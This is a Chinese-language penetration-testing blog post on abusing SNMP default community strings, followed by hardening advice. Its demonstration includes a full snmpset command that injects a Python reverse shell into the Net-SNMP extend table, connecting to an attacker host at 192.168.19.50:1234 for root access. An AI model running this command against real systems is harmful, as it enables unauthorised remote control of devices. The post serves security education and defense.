SNMP安全风险与利用:默认社区字符串的威胁

本文详细介绍了SNMP协议的安全风险,特别是默认社区字符串的滥用。通过实际攻击演示,展示了如何利用SNMP获取系统访问权限,并提供了防护建议,包括禁用SNMP、修改默认字符串和使用SNMPv3加密认证。

SNMP… Strings Attached!

Dale Hobbs //

在进行内部网络渗透测试时,我几乎总是发现配置了默认社区字符串的简单网络管理协议(SNMP)。
简单网络管理协议(SNMP)是一种广泛使用的协议,用于管理和监控网络设备,如路由器、交换机和服务器。它允许网络管理员管理和监控网络设备的性能,并在出现问题时进行故障排除。
SNMP基于“管理器-代理”模型,其中中央网络管理系统(NMS)充当管理器,并与每个网络设备上的SNMP代理通信。NMS向代理发送请求以获取设备信息,代理则响应请求的数据。这使得NMS能够从网络上的所有设备收集和分析数据。
SNMP依赖于安全字符串(或“社区字符串”),这些字符串授予对设备管理平面的部分访问权限。我们经常看到两种常见的社区字符串——“public”主要提供只读访问,“private”通常提供读写访问。
使用默认SNMP社区字符串的设备可以通过SNMP查询读取其整个配置。此外,当设备使用默认字符串(如“public”)配置SNMP写访问时,攻击者可以轻松修改设备的配置。
SNMP有3个版本:

  • SNMPv1:这是最旧的版本,其身份验证基于社区字符串,该字符串在传输时未加密,因此所有信息也以明文传输。它易于设置,但仅受明文社区字符串保护。
  • SNMPv2c:版本2c与版本1几乎相同,只是增加了对64位计数器的支持。这是目前最常用的版本,但与版本1一样,也以明文发送流量,并使用明文社区字符串进行身份验证。即使您使用非默认社区字符串,获得中间人位置也会通过简单的数据包分析导致社区字符串泄露。
  • SNMPv3:版本3是SNMP的最新版本,增加了加密和身份验证,可以一起使用或单独使用。它比版本1或版本2c更复杂,但更安全。

让我们看看可以从设备收集哪些类型的信息。Nmap有一些专门用于SNMP的有用NSE脚本。例如,使用“snmp-sysdescr”NSE脚本,我们可以检索服务器类型和操作系统。
使用“snmp-interfaces”NSE脚本,我们可以收集有关设备的一些网络信息,例如IP地址、任何其他网络接口,甚至流量统计信息。
虽然这些对网络管理员都很有用,但对攻击者也很有用,因为他们可以开始构建系统配置文件并尝试制定攻击计划。
虽然这绝不是SNMP功能的详尽列表,但至少应该让您了解我们可以使用SNMP收集什么。如果您想查看更多SNMP脚本,可以参考https://nmap.org。

现在,我们已经从蓝队角度看到了SNMP的一些用途,让我们看看作为攻击者,当配置了默认社区字符串时,我们可以用SNMP做什么。出于本文的目的,我们将攻击一个配置了SNMP的基于Linux的系统,希望获得远程shell。
首先,通过对系统进行简单的Nmap UDP扫描,我们可以看到SNMP确实在系统上运行,并使用默认的UDP端口161。
现在我们已经确认系统正在运行SNMP,我们可以使用Metasploit的“scanner/snmp/snmp_login”模块来查看系统是否使用了默认社区字符串。
从上面的输出可以看出,系统实际上正在使用“public”(只读)和“private”(读写)社区字符串。由于我们使用“private”字符串具有读写访问权限,我们现在可以通过向“nsExtendObjects”表附加其他行来在系统上添加或执行其他命令。
“nsExtendObjects”是Net-SNMP代理的NET-SNMP-EXTEND-MIB扩展的一部分,允许您查询任意shell脚本。深入探讨这一点超出了本文的范围,但如果您想了解更多,可以在这里找到详细文章。
使用以下命令,我们可以将命令注入SNMP配置,该命令将创建反向shell回连到我们的攻击者系统。

1
2
3
4
5
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private 192.168.19.128 \ 
 'nsExtendStatus."evil"' = createAndGo \
 'nsExtendCommand."evil"' = /usr/bin/python \
 'nsExtendArgs."evil"' = '-c "import 
   sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.19.50\",1234));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

接下来,我们在攻击者系统上启动Netcat监听器。
随着Netcat监听器等待,我们现在使用snmpwalk触发受害者上的命令执行,并启动与攻击者系统上Netcat监听器的连接。
我们可以安全地忽略超时消息,因为我们现在可以在Netcat监听器中看到来自受害者系统的新连接。更糟糕的是,我们不仅拥有受害者系统的远程shell,还可以看到我们拥有系统的root访问权限。

这种类型的攻击可以扩展到网络基础设施设备,如路由器、交换机和其他设备。想象一下攻击者修改访问控制列表、更改VLAN配置或简单地禁用网络基础设施设备上的端口的后果。读写访问可用于绕过安全控制、在网络上横向移动或导致拒绝服务事件。

现在我们已经看到了SNMP如何被滥用,让我们看看一些保护SNMP的最佳实践。
首先,如果您没有明确使用SNMP,则应尽可能禁用它。如果您有意使用它,请确保更改默认社区字符串,并使用“public”和“private”以外的内容。使用独特且难以猜测的内容将使攻击者更难访问您网络上的SNMP。
此外,您可以在防火墙或访问控制列表(ACL)处阻止对端口161和162的访问。这将允许您的授权系统仍然访问您的SNMP启用设备,同时防止攻击者访问SNMP。当然,除非他们已经入侵了您的授权系统之一,在这种情况下,您可能有比SNMP更大的问题需要担心,但这是另一天的话题。
最后,考虑使用SNMPv3和AuthNoPriv模式加密身份验证凭据,并将其配置为使用MD5和SHA以增加安全性,而不是使用SNMPv1或SNMPv2c。

总之,SNMP是网络管理员的有价值工具,但也可以被攻击者滥用。通过采取必要的安全措施和监控网络,组织可以保护自己免受SNMP滥用,并确保其网络的完整性和可用性。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计